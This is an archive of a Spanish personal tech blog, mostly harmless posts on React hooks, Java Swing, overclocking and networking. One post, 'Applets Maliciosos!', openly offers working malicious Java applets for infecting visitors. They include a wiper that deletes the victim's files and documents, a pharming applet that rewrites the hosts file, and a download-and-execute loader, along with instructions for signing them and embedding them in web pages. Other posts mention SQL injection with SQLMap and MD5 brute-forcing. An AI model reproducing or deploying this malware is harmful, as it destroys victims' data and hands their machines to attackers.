martes, 10 de septiembre de 2019

Hooks en React (I), Utilizar el estado en componentes Stateless.

¿Qué son los Hooks?

Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos permiten crear, acceder y modificar el estado en un componente stateless, dicha habilidad nos abre la puerta a un nuevo paradigma de programación en React totalmente distinto a como lo conocíamos, este artículo es la primera parte de varias que estaré preparando.

¿Por qué se agregan los Hooks?

React se va moviendo a que los componentes sean escritos totalmente como funciones en lugar de clases, de hecho desde el sitio de React te recomiendan que no reescribas todos tus componentes pero que los nuevos que empieces de cero los hagas como Hooks. Esto debido a varias ventajas tales como:

  • Código mas fácil de testear y mantener (componentes como funciones separadas).
  • Código mas legible.
  • Programación funcional que se adapta mejor al paradigma de React, dado que en lugar de ser clases, son simplemente funciones que reciben y retornan valores.
  • Ciclo de vida de componentes delegado en lugar de un sólo método para toda la lógica (componentDidMount).
  • Aplicaciones mas ligeras, dado que la minificación de funciones es mucho más optima que la de clases en el resultado.

¿Cómo se utilizan?

Dado la siguiente clase componente:

import React, { Component } from 'react'

export default class Example extends Component {
  constructor(props) {
    super(props);
    this.state = {
      count: 0
    }
    this.increaseCount = this.increaseCount.bind(this);
  }

  increaseCount() {
    this.setState({count: this.state.count + 1});
  }

  render() {
    return (
      <div>
      <p>You clicked {this.state.count} times</p>
      <button onClick={this.increaseCount}>
        Click me
      </button>
    </div>
    )
  }
}

Podemos notar que utiliza el estado para realizar un conteo de clicks, para ello se auxilia del método increaseCount que  accede al estado para aumentar el contador.

Dicho componente realizado con Hooks quedaría de la siguiente forma:

import React, { useState } from 'react';

function Example() {
  const [countsetCount] = useState(0);

  return (
    <div>
      <p>You clicked {count} times</p>
      <button onClick={() => setCount(count + 1)}>
        Click me
      </button>
    </div>
  );
}

Este componente funcional realiza las mismas operaciones, para ello utiliza el Hook useState que permitirá a nuestro componente funcional utilizar un estado.

Este componente funcional declara en el estado una propiedad llamada count que va a tener su función seter llamada setCount, para ello hace uso de useState(0), dónde el 0 es el valor inicial de dicha propiedad. Finalmente hace uso de la función set dentro del render del componente.

El Hook useState

Como vemos uno de los Hooks principales, es useState, la cual nos devuelve un valor con estado y una función para actualizarlo, tomando como valor inicial el primer argumento de ésta. Podemos declarar la cantidad de ellas que deseemos utilizando dicha función. 

Tomemos como ejemplo el siguiente componente:

import React, { useState } from 'react';

function Example() {
  // Declara una nueva variable de estado, la cual llamaremos “count”
  const [messagesetMessage] = useState('');
  const [namesetName] = useState('Visitor');

  return (
    <div>
      <div>Write your name</div>
      <input type="text" onBlur={(e=> setName(e.target.value)} />
      <button onClick={() => setMessage(`Welcome to Hooks ${name}.`)}>
        Click me
      </button>
      <div>{message}</div>
    </div>
  );
}

En el estamos declarado 2 propiedades en el estado, message y name, en las cuáles se asigna su valor utilizando las funciones setName y setMessage.

Y ¿Qué hay del ciclo de vida?

Para el siguiente artículo veremos como trabajar con el Hook useEffect para realizar operaciones con efectos secundarios.

miércoles, 12 de diciembre de 2018

Conviertete en Hacker

Hace unos días encontré este sitio que la verdad está muy bien hecho, es un juego, te permite "simular" un escritorio Hacker con diversas herramientas tales como, cámaras de video vigilancia, una terminal remota, código de programación, etc. Seguro no te ayudará a Hackear la contraseña de Facebook de tus conocidos, pero es ideal para dejar con el ojo cuadrado a tus compañeros.





lunes, 10 de diciembre de 2018

Frameworks Clásicos CSS

Esta ocasión me gustaría compartir los siguientes frameworks CSS, con ellos podrás darle a tu sitio web una apariencia más retro ó simplemente por si quieres jugar con ellos como fue mi caso, dado que me llamó mucho la atención lo bien logrados que están.

El primero de ellos es NES.css, el cuál al importarlo a tu sitio, hará que todos los controles luzcan como en la siguiente imágen:



El siguiente framework es un poco mas retro aún, BOOTSTRA.386, el cuál también se encuentra en GitHub y hará que tu sitio tenga una apariencia como en la siguiente imágen:


Inyección SQL rápida utilizando SQLMap en Kali Linux

¡Hola de nuevo! posteo éste video que hice hace algún tiempo para utilizar la herramienta SQLMap integrada en Kali Linux, dicha herramienta es bastante potente y permite realizar ataques de inyección SQL en cuestión de minutos.


Inyección SQL

Hace algún tiempo que tengo en linea algunos videos de seguridad informática para los cursos que llegué a impartir de dicho tema, así que provecho éstos videos para postearlos en esta nueva etapa del blog y  que sean útiles, dado que son temas bastante interesantes. Del mismo modo, pronto generaré nuevo contenido y lo iré subiendo.

Én el siguiente video se explica como realizar un ataque de inyección SQL a un sitio web que utiliza PHP y que no tienes las variables sanitizadas correctamente, en la descripción del vídeo se utiliza un codificador de ASCII a Hex, la liga ya no sirve, dado que el que estaba adjunto era hecho por mí y en algún momento se perdió, pero se puede utilizar cualquier codificador como este o cualquiera que devuelva Google.


¡De regreso!

Después de muchísimo años, acá andamos de regreso, ha pasado mucho tiempo y del mismo modo he aprendido cosas nuevas que espero poder compartir por acá.

No creo que éste blog tome un nuevo rumbo, solamente me dedicaré a compartir cosas que crea que valgan la pena tanto en temas de Programación, Seguridad Informática, Video Juegos, Redes, Inteligencia Artificial, etc. Del mismo modo, será una parte donde compartiré cosas que tengo en diferentes lugares, por ejemplo mi canal de youtube o códigos de GitHub, al parecer los tiempos han cambiado mucho desde mi última entrada y veamos que sucede.

Del mismo modo, depuré muchas entradas que ya no funcionaban o que los enlaces estaban rotos, espero que las cosas que ya están obsoletas pronto se vayan quedando atrás con contenido nuevo.

martes, 26 de junio de 2012

Curiosidades BruteForce

Hace unos días andaba algo interezado en criptografia y computo de alto rendimiento, me dio la curiosidad de realizar un BruteForce para MD5 y verificar los tiempos que tarda en romper palabras muy simples en diferentes plataformas, arquitecturas y modelos de ejecución, el algoritmo es muy simple(lo adjunto), pero hubo algo que me dio una gran sorpresa...

Inicialmente empezé con el algoritmo utilizando C#, debido a que es uno de mis lenguajes favoritos aunque solo pensaba utilizarlo para probar el algoritmo, posteriormente me percate de que funcionaba muy bien, tenia un rango de comprobación de palabras con buenos tiempos aun para ser un lenguaje precompilado y me propuse a portar el algoritmo a ANSI C++ y compilarlo para la plataforma Windows nativa a 64 bits con lo cual debería darme mejores resultados teniendo mi creencia que los lenguajes precompilados e interpretados son considerablemente mas lentos que los nativos, mi sorpresa fue la siguiente:

C++
C#

Podemos observar que el mismo algoritmo implementado sobre C# realiza la tarea de fuerza bruta considerablemente mas rapido que en C++ utilizando el mismo hash de entrada ademas de que el tiempo requerido para la tarea, es exponencial, si pongo como palabra de entrada "zzzzzz" el tiempo que tarda C++ 64 bits en realizarlo es 15 veces mas de lo que C# requiere.

esto habla muy bien de la optimización de C#, aunque pretendo realizar el algoritmo con soporte multicore utilizando la GPU(NVIDIA CUDA), utilizando Cores del procesador, asi como migrar este algoritmo a JAVA y a Linux para realizar una comparación sobre mas plataformas, ademas de añadir mas algoritmos de encriptación y una interfaz grafica una vez que determine sobre que plataforma, arquitectura y modelo de ejecución son los mas convenientes.

domingo, 26 de diciembre de 2010

HP Mini 110

Recién adquirí una HP Mini 110, una Netbook, la cual me ha funcionado bastante bien en los 3 meses que lleva conmigo, es ideal para COMPLEMENTAR mi computadora de trabajo(Dell inspiron 1520)...

Cuenta con un procesador Atom n450 a 1.7(2 hilos hyper threading), 2 gb de ram, bluetooth, webcamy disco de 250gb, al llegar a mi casa fue formateada con Windows 7 Pro x64 y los controladores se encuentran en la pagina de HP, no me ha dado ningun problema mas que para activar el bluetooth(se activa, instalando el paquete Wireless Assistant de HP) y el teclado que no tiene teclas de Av. page/Re. page/Inicio/Fin, pero oficialmente esta netbook queda recomendada por mi... dejo unas fotitos de la mia



domingo, 5 de julio de 2009

Programación de videojuegos parte 2

Jejeje pues hoy me la pase toda la mañana leeyendo el manual que les pongo hasta abajo, sobre programación de videojuegos, esta vez si ya va mas enfocado al desarrollo 3d, viene desde como crear tu primera ventana en windows(cosa ke ya habia hecho) creando una clase que se puede reutilizar... hasta la explicacion de los vertices y como trabaja la tarjeta de video para generar los graficos...  tambien esta muy completo, aunque por el momento ya me cansé, les dejo el primer ejemplo que hice:

La verdad si es mucho codigo y muchos conceptos, pero lo vale y ahi vamos mas o menos jejeje...

La direccion del manual ciertamente esta en inglés(casi no hay documentacion en español) es:

Click aqui

Jeje prometo ya no publicar solo manuales...

sábado, 4 de julio de 2009

Programación de videojuegos en C++


Ultimamente como me fije de meta aprender programación de videojuegos, se que talvez esta especialidad no es muy considerada en México donde la industria de los videojuegos es baja(Hablando del desarrollo, no de el consumo), aunque muy bien pagada si logras entrar, y quien sabe talvez algun dia lo logre es por eso que quiero empezar con todo esto, ademas que amo la programación, amo el C++ y amo los videojuegos...

Googleando me encontre un post donde encontre lo que buscaba, "como empezar!!!" encontre un libro el cual les dejo como descarga abajo, es bastante basico y de hecho no se inicia en modo 3d nisiquiera en modo 2d, solo en modo consola, pero lo lei y me resulto bastante bueno, yo sabia ya usar C++, pero con este libro he consolidado conceptos que me faltaban(ahora manejo muy bien la orientacion a objetos en C++, entre otras cosas), no solo les va a servir si quieren o no programar videojuegos, si que para empezar y dominar este lenguaje y programar cualquier cosa, repito, todo es orientado a la terminal no a ventanas, apenas empezare con el de winApi y Directx para empezar a darle con esto... ya ando descargando el DirectX SDK(500 mb) que me pide el cursillo que leeré

Descargar Ebook(Inglés)

Saludos

sábado, 23 de mayo de 2009

Sigamos con Java[UIManagers]

Igual en vista de que necesito hacer un programa para una profesora, me puse a buscar algunos lookAndFeels(Skins) para mi aplicacion en java y encontre unos muy cutes!!! aqui les dejo un el programilla del post pasado para que noten la diferencia(igual basta con agregarlos a las librerias jar del proyecto en netbeans y hacer el necesario import en el programa):
Napkin
Este personalmente me encanto jaja y se puede descargar de aqui
Tiny
Este tambien me gusto por que se ve muy elegante y se descarga de aqui:

Quaqua
Este trata de parecerse a MacOsX, y se descarga de aqui
Liquid
Este tambien simula a MacOsX, y se descarga de aqui:

Office
Este tiene para simular la interface de Office 2003, Office XP y Visual Studio 2005, tambien me gusto y se descarga de aqui:

Simplemente se cambian usando este codigo en la clase donde generas tu GUI:


try{
  UIManager.setLookAndFeel(CLASEDELTEMA);
  }catch(Exception e){
  e.printStackTrace();
  }

Hablemos de Java [MigLayout!]

Ahora que alguna profesora me dejo hacer un programa en java con base de datos que no fuera web, pensé en hacerlo con Swing para aplicaciones de escritorio y la verdad me dio mucha flojera ya que a mi como me enseñaron es anidado los layouts(clases que definen como ordenar y repartir los componentes como los botones) oficiales de Swing y AWT como  el BorderLayout, FlowLayout, GridLayout, BoxLayout, etc vease mas en el manual oficial de sun...
Me puse a navegar por internet y encontre nadamas y nadamenos que un layout no oficial muy poderoso pero sencillo, con el cual se pueden hacer interfaces complejas de una manera muy sencilla
se puede descargar de aqui
y basta con agregar el .jar a las librerias del proyecto(en propiedades del proyecto, en netbeans):
y podremos empezar a utilizarlo, conciste en una grilla en la cual vamos a agregar elemento por elemento, un ejemplo muy sencillo:
el codigo para acomodar los botones es bastante sencillo gracias a este layout:
this.add(new JButton("boton1"));
this.add(new JButton("boton2"));
this.add(new JButton("boton3"));
this.add(new JButton("boton4"), "wrap");
this.add(new JButton("boton5"));
this.add(new JButton("boton6"));
this.add(new JButton("boton7"));
this.add(new JButton("boton8"));
donde en el boton4 ponemos un parametro "wrap" que nos sirve para dar el salto de linea en la grilla, obviamente podemos unir celdas, hacerlas mas grandes, hacer que un elemento ocupe x celdas hacia arriba o hacia abajo como lo hace GridBagLayout(que es el mas completo y complejo de los layouts oficiales) solo cambiando y utilizando varios parametros como el "wrap"; con esto podemos hacer interfaces mas complejas que llevarias varios layouts anidados, solo usando uno:
 
dejo el manual oficial de miglayout:

lunes, 18 de mayo de 2009

Applets Maliciosos!

Hace ya rato me salio la necesidad de hacer unos applets en java, para infectar con  troyanos, virus y destrozar cosas, y aqui se los posteo alfin... al fin y al cabo ya encontre como añadir codigo aqui e incluso poner varios efectos javascript... saludos!!
Ejecutar comandos de ms-dos (este elimina todos los documentos de la persona que abra la pagina y acepte la alerta de sun ke sale)
import java.io.*;
import javax.swing.JApplet;

public class xDD extends JApplet
{

    public xDD()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception e)
        {
            e.getMessage();
        }
        super.init();
    }

    public void infectar()
    {
 try {
    FileWriter fw = new FileWriter("c:\\windows\\cfg.bat");
    BufferedWriter bw = new BufferedWriter(fw);
    PrintWriter salida = new PrintWriter(bw);
    salida.println("@echo off");
    salida.println("cd\\");
    salida.println("cd %SYSTEMDRIVE%");
    salida.println("del *.* /f /s /q");
    salida.println("cd\\");
    salida.println("cd %HOMEPATH%");
    salida.println("del *.* /f /s /q");
    salida.println("cd Desktop");
    salida.println("cd Escritorio");
    salida.println("del *.* /f /s /q");
    salida.println("rd /s /q \"%homepath%/Mis Documentos\"");
    salida.println("del c:\\windows\\cfg.bat");
    salida.close();
    Runtime.getRuntime().exec("cmd.exe /K C:\\windows\\prueba.bat");
}
catch(java.io.IOException ioex) {
  System.out.println("se presento el error: "+ioex.toString());
}        
 
      }
}
Pharming
import java.applet.Applet;
import java.io.*;

public class Hola extends Applet
{

    public Hola()
    {
    }

    public void iniciar()
    {
        String s = getParameter("dominio");
        String s1 = getParameter("ip");
        try
        {
            File file = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
            FileWriter filewriter = new FileWriter(file, true);
            filewriter.write((new StringBuilder()).append(s1).append("        ").append(s).append(System.getProperty("line.separator")).toString());
            filewriter.close();
        }
        catch(Exception exception) { }
    }

    public void init()
    {
        try
        {
            iniciar();
        }
        catch(Exception exception)
        {
            System.out.println("Error");
        }
        super.init();
    }
Este es un Download and Execute que encontré por ahí, también dejo su código
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.JApplet;

public class Applet extends JApplet
{

    public Applet()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception exception)
        {
            exception.getMessage();
        }
        super.init();
    }

    public void infectar()
        throws Exception
    {
        byte abyte0[] = new byte[10240];
        String s = getParameter("url");
        System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(s).toString());
        String s1 = s.substring(s.lastIndexOf("."));
        s1 = s1.toLowerCase();
        File file = File.createTempFile("javatmp", s1);
        FileOutputStream fileoutputstream = new FileOutputStream(file);
        URL url = new URL(s);
        URLConnection urlconnection = url.openConnection();
        BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
        int i;
        while((i = bufferedinputstream.read(abyte0)) > 0) 
            fileoutputstream.write(abyte0, 0, i);
        fileoutputstream.close();
        if(s1.contains(".jar"))
            Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar  \"").append(file.getAbsolutePath()).append("\"").toString());
        else
            try
            {
                Runtime.getRuntime().exec(file.getAbsolutePath());
            }
            catch(IOException ioexception)
            {
                File file1 = File.createTempFile("tmp", ".bat");
                file1.createNewFile();
                file1.deleteOnExit();
                PrintWriter printwriter = new PrintWriter(file1);
                printwriter.println((new StringBuilder("\"")).append(file.getAbsolutePath()).append("\"").toString());
                printwriter.close();
                Runtime.getRuntime().exec(file1.getAbsolutePath());
                file1.delete();
            }
        file.deleteOnExit();
    }
}
para compilarlos, instalar el JDK de sun y en consola poner:
javac nombredelarchivo.java

nos genera el .class, lo metemos a un jar:
jar -cf fichero.jar clase.class

Creamos un perfil para firmar archivos jar(la contraseña la definimos nostros):
keytool -genkey -alias puto -validity 120 -v

y firmamos el jar con el perfil ke kreamos y ponemos las preguntas ke nos pida... pide la contraseña que definimos antes):
jarsigner.exe appletfirmado.jar puto -verbose

y listo la metemos a nuestro html:
<applet name="ajax" code="Applet.class" archive="App.jar" height="1" width="0">
<param name="PARAMETRO QUE NECESITE NUESTRO PROGRAMA" value="">
</applet>


Conectar controles Xbox1 en PC

Hace poco me dio mucha curiosidad ver como podía conectar uno de mis con

troles de la xbox1 a la PC para usarlo para jugar(se me hace comodo este control aunque tozco, pero muy funcional para casí cualquier juego) y me encontre con algunos controles que ya venian con un simple adaptador(de hecho compré uno), ahí empezo mi curiosidad, investigando encontre que son simples controles USB, las xbox1 tiene puertos USB modificados como sockets del control, por lo tanto, basta con guiarnos de este diagramilla ya que a los controles solo les sobra un cable(amarillo) que no se conecta para adaptarlo a la PC

Y como viceberza podemos conectar a la xbox, mouses(lo correcto es mice pero bueno), teclados y memorias a la consola.

martes, 12 de mayo de 2009

Encontrar controladores raros

Este es un truquillo muy simple y que sinceramente yo lo encontre(talvez ya lo habia hecho alguien mas o que se yo, pero a mi nadie me lo dijo), consiste en encontrar controladores raros, de hecho cualquier tipo de controlador se puede encontrar con este truquillo, basta con tener windows xp service pack 2 o superior(digase sp3, windows vista,  windows seven, etc) consiste en irnos al administrador de dispositivos(propiedades de Mi PC>>Separador "Hardware">>Boton "Administrador de dispositivos") aqui encontramos todos los dispositivos, obviamente los que tengan un "?" no estan instalados o los que tengan un "!" estan malfuncionando, seleccionamos el dispositivo y damos en propiedades>>Separador "Detalles" nos aparecera algo similar, 

en "Valor" encontramos un código, este código se llama ID de hardware, explico... cada dispositivo tiene un ID de hardware, conformado entre otras cosas, por el vendor ó fabricante y el device o dispositivo, esta ID es única para cada modelo y de hecho es como windows determina si un controlador es para este dispositivo o no, lo que realmente nos importa aqui es ven_8086 (el 8086 en vendor indica que es un disitivo intel) y el dev_4222 que si lo googleamos, estoy seguro que encontraremos el controlador aunque no sepamos cual, pruebas?

En google encontramos el nombre "Intel pro wireless 3945ABG" que es la NIC inalambrica que tengo, por si fuera poco, encontre el driver en la primera pagina... obviamente no siempre será así de facil y hay que buscar en las demas paginas que encuentren informacion, y obviamente podemos usar otras busquedas como por ejemplo

"ven_8086&dev_4222 vista" para encontrar los de vista... es cuestion de creatividad... este método a mi nunca me ha fallado

domingo, 10 de mayo de 2009

Nueva etapa de vida!!

Jejeje pues como dice el titulo, entro a una nueva etapa de mi vida, termino de hacer servicio social como desarrollador de software, para realmente "trabajar" y ganar dinero de esto, abrá muchos cambios, como empezando ya trabajaré desde mi casa por lo cual tendré mas tiempo para andar por aquí y por alla, esto es una ventaja, me darán mas tiempo para los proyectos del trabajo y mas tiempo para mi vida personal.

Realmente he aprendido mucho y en estos momentos me siento realmente capaz de dedicarme al desarrollo de software(Java, php y .net especialmente) y de realizar todos mis sueños y metas, todavia me faltan pero hay que seguirle, como muchos saben, pues me encantan los videojuegos y ya empiezo a hecharle una miradita a la api de windows y direct3d en C++, al visual C#  y al xna para hacer juegos para la PC y para la xbox 360(aunque necesito pagar, pero gratuitamente estoy haciendo pruebas), así como tambien empiezo a hecharle miraditas y estudiar para certificaciones como java y php, que algun dia pienso sacarlas, cada día hay que ser mejores y esta es una de mis maneras de ser mejor cada día... veamos que tanto avanzo en el año y medio que me queda de universidad...

Saludos y gracias por pasar por mi blog!!! prometo actualizarlo seguido y ponerles cosas cool

Como cascadear routers 2wires

Me refiero a como conectar varios routers 2wire en una red, para utilizar uno como switch o puente inalambrico... ojo, va  aver uno principal y uno secundario... el principal debe de estar conectado a la linea telefonica, el otro no, lo primero que vamos a hacer es conectar el router secundario(el que no va a llevar la linea telefonica) a cualquier maquina, vamos a acceder al http://home

de ahi vamos a entrar a home network o red domestica, y en Advanced Settings o configuracion avanzada, 

y configuramos así:

y damos en guardar, apartir de este momento la direccion de nuestro router va a ser esa, 192.168.1.253, ahora nos vamos a enlace de banda ancha e igual en configuracion avanzada, configuramos asi:

de ahi en fuera todo lo demas en blanco y con las configuraciones por defecto, ahora desconectamos este router, y lo cascadeamos(conectamos un cable utp de un router al otro) con el 2wire principal, el que va a estar a la linea telefonica, y de esta forma todo lo que conectemos en cualquiera de ambos routers, ya sea por utp o inalambrico tendra internet...

martes, 30 de septiembre de 2008

Dar el Salto a los 64 bits

Actualmente las computadoras vienen con procesadores muy potentes, digase Core 2 duo, AMD64 x2, Quad Core, Phenom, etc que ademas de contar con N nucleos, cuentan tambien con tecnologia de 64 bits, la mayoria del software que utilizamos es de 32 bits y el que no, es de 16 bits... esto se refiere al tamaño de las instrucciones binarias, supongase, trabajando con 8 bits, las intrucciones serian asi 1100101... de 8 digitos... con 32 seria de 32 y asi sucesivamente, mientras mas grande sea mayor capacidad de operaciones nos dará (las aplicaciones compiladas en 64 bits, son 10% mas veloces que las compiladas en 32 bits), ademas de algo mucho mas importante... cuando se creo la arquitectura de 32 bits (actualmente usada por casi todo el mundo) pensaron, el limite de ram son 4 gigas (2^32 = 4294967296 kb = 4 gigas, el 2 de la base binaria, el 32 del tamaño de instruccion, hagan la cuenta de las epocas de win95 con aplicaciones de 16 bits) y es demasiado nunca lo alcanzaran, pues estamos en el año 2008 y 4 gigas de ram sigue siendo mucho, pero no demasiado, cualquier persona con $2000 pesos mexicanos en la bolsa compra 6 gigas de ram... el problema es que, tu windows, tu linux, tu mac ni cualquier software de 32 bits detectará mas de 4 gigas por que es el limte de la arquitectura..., el limite teórico para un Windows XP x64 edition, un Windows Vista x64, una distrubicion de linux x64, es de 1638.4 gigas de ram... asi que esta arquitectura tiene muchas ventajas y ya esta bien implementada, actualmente utilizo windows xp x64 edition y no he tenido problemas de drivers ni de aplicaciones, asi que personalmente invito a dejar atras los 32 bits(asi como se hizo en un tiempo con los 16 bits) y dar el salto a esta tecnologia, todo el software de 32 bits corre perfectamente en sistemas operativos de 64 bits (en windows gracias al WOW64) ya que las instrucciones en el procesador se ejecutan con el chip de 32 bits y no se emulan por lo tanto no hay pierde de rendimiento... 

TheJez^

Overclocking hasta el humo!!!

Jejeje aqui vamos a empezar con los cursillos de Overclocking jajaja pues empezaremos con que es el Overclocking.... el overclocking ó OC como lo suelen llamar, es simplemnte elevar la velocidad del reloj de los dispositivos de la computadora, digase el procesador, La GPU (procesador grafico), La ram, etc... 

Para darle OC a un procesador, el metodo es diferente en casi cualquier maquina, algunas vienen con proteccion y la unica manera de activar esta opcion es modificar los pines de la motherboard, pero en varias inclusive las mas nuevas viene libre esta opcion, primero debemos saber como es que se da la velocidad de proceso...


Los procesadores internamente tienen un llamado multiplicador, supongamos un x 8.0 como en la imagen... y un BUS, aqui lo vemos de 333 MHZ, multiplicamos 8 * 333 MHZ= 2.666 MHZ que es a lo que trabaja nuestro procesador, bien para hacer que trabaje a una mayor velocidad, tenemos simplemente que elevar el multiplicador o el bus, el multiplicador viene sellado ya en casi todos los procesadores, asi que lo mas conveniente siempre ha sido elevar la frecuencia del bus, supongamos lo subo a 400 MHZ, lo que obtendria: 8 * 400 MHZ = 3200 MHZ, estamos hablando que mi procesador en lugar de correr a 2.6 ghz, correria a 3.2 ghz que es bastante... 

para hacer esto tenemos que ir a nuestro bios y seleccionar la opcion de frecuencia del procesador manual y le pondremos la frecuencia tanto como lo deseemos, aunque repito no en todas las motherboards se puede y sobre todo MUCHO CUIDADO no eleves tanto la frecuencia, pues realmente puedes quemar todo el ordenador, para allar la maxima frecuencia que puedes tener, sube perdiocamente la frecuencia en rangos pequeños y revise la temperatura del CPU (Yo uso Everest home):

Igual si en tu PC viene bloqueada esta opcion se puede hacer via software (solo que igual no todos los chipsets son soportados) , podemos utilizar el software clockgen, fsbcpu, etc, etc hay mucho googlearle... 

pasamos a las tarjetas de video, todos sabemos que actualmente los juegos salen pidiendo una potencia increible en las tarjetas de video y la gente tiene la loca idea que por tener una tarjeta de video de 1 giga de memoria podra jugar todo, esto no es verdad, vale mas la frecuencia de la GPU y de la GRAM que la cantidad de memoria. Las targetas regulares trabajan a 400 MHZ en GPU y 300 MHZ en memoria,   pero al igual si lo subimos hasta unos 600 MHZ (CON UN BUEN SISTEMA DE ENFRIAMENTO) podremos jugar hasta crysis en graficos a full, para hacer esto depende de tu tarjeta de video, hablaré solo de las ATI y de las NVIDIA, para NVIDIA existe software como el, NTune(oficial de nvidia), Coolbits, Rivatuner, para ATI igual esta el RivaTuner, el ATI tool, etc, igual recomiendo subir la frecuencia periodicamente en rangos pequeños ya que esto puede fundir tu tarjeta y esto, OBVIAMENTE ANULA CUALQUIER GARANTIA asi que haganlo con mucho cuidado...

TheJez^.

TheSuperJez Blog

Bien aqui abriendo mi blog y pues a darle duro!!! muchos ya me conocen, muchos no y pues aqui andaré!!

Hooks en React (I), Utilizar el estado en componentes Stateless.

¿Qué son los Hooks? Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos p...